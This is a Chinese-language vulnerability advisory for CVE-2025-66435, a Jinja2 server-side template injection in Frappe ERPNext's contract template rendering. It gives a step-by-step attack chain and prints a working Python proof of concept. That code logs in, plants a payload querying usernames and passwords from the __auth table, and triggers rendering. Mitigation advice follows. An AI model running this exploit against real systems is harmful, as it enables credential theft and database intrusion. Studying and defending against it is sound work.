IPBUF安全漏洞报告
English
CVE-2025-66435 CVSS 4.3 中危

CVE-2025-66435 Frappe ERPNext SSTI服务器端模板注入漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66435
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe ERPNext

相关标签

服务器端模板注入SSTIFrappe ERPNextJinja2RCE信息泄露CVE-2025-66435Web应用安全

漏洞概述

CVE-2025-66435是Frappe ERPNext中发现的一个服务器端模板注入(SSTI)漏洞。该漏洞存在于get_contract_template方法中,允许经过身份验证的低权限攻击者通过contract_terms字段注入恶意Jinja2模板表达式。攻击者可以利用frappe.render_template()函数渲染用户可控的模板内容,虽然Frappe使用了自定义的SandboxedEnvironment,但通过get_safe_globals()仍可访问危险函数如frappe.db.sql,从而实现数据库信息泄露和受限的服务器端代码执行。此漏洞影响Frappe ERPNext 15.89.0及之前版本,CVSS评分为4.3,属于中等严重程度。攻击者需要拥有创建或修改Contract Template的权限,但由于认证要求为低权限,对系统安全构成实质性威胁。

技术细节

该漏洞的技术核心在于Frappe ERPNext的get_contract_template方法不安全地使用了frappe.render_template()函数。当渲染contract_terms字段时,系统使用攻击者控制的上下文(doc)作为模板变量。Frappe框架虽然实现了自定义的Jinja2 SandboxedEnvironment来限制模板执行,但get_safe_globals()函数仍然暴露了多个危险对象,包括frappe.db.sql等数据库操作接口。攻击者可以通过构造特定的Jinja2表达式来访问这些受限但仍然危险的全局函数。例如,使用类似{{ frappe.db.sql('SELECT * FROM __auth') }}的payload可以执行SQL查询并泄露数据库内容。更复杂的payload可能实现更广泛的代码执行,但由于Sandbox的限制,攻击者的行动空间受到一定约束。漏洞的利用需要攻击者具备有效的认证凭证,并且拥有对Contract Template的创建或修改权限。

攻击链分析

STEP 1
步骤1
攻击者获取Frappe ERPNext系统的低权限账户(拥有Contract Template创建或修改权限)
STEP 2
步骤2
攻击者创建或修改Contract Template,在contract_terms字段中注入恶意Jinja2 SSTI payload
STEP 3
步骤3
攻击者调用get_contract_template方法,触发使用frappe.render_template()渲染包含恶意表达式的模板
STEP 4
步骤4
Jinja2引擎执行注入的表达式,通过get_safe_globals()暴露的frappe.db.sql等函数访问数据库
STEP 5
步骤5
攻击者获取数据库敏感信息(如用户凭证、配置数据等),实现信息泄露或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66435 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 # Attack Vector: Inject Jinja2 payload in contract_terms field import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Login to get session cookie session = requests.Session() login_url = f"{TARGET_URL}/api/method/login" login_data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create or modify Contract Template with SSTI payload template_url = f"{TARGET_URL}/api/resource/Contract Template" # SSTI payload to leak database info via frappe.db.sql ssti_payload = """ {{ frappe.db.sql("SELECT user, password FROM __auth LIMIT 1") }} """ template_data = { "doctype": "Contract Template", "title": "Malicious Template", "contract_terms": ssti_payload } response = session.post(template_url, json=template_data) if response.status_code in [200, 201]: print("[+] Malicious template created") print(f"[+] Template ID: {response.json().get('data', {}).get('name')}") # Step 3: Trigger template rendering via get_contract_template render_url = f"{TARGET_URL}/api/method/erpnext.setup.doctype.contract_template.contract_template.get_contract_template" render_data = { "doc": { "doctype": "Contract", "contract_template": response.json().get('data', {}).get('name') } } response = session.post(render_url, json=render_data) print("[+] Template rendered") print(f"[+] Response: {response.text}") else: print(f"[-] Template creation failed: {response.status_code}") print(f"[-] Response: {response.text}")

影响范围

Frappe ERPNext < 15.89.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Contract Template的创建和修改权限,仅允许受信任的管理员操作;2) 在应用层对contract_terms字段实施输入过滤,移除或转义Jinja2特殊字符如{{、}}、{%等;3) 监控和审计Contract Template相关的API调用,检测异常模式;4) 考虑临时禁用get_contract_template方法的自动渲染功能;5) 加强数据库访问日志审计,及时发现可疑的SQL查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表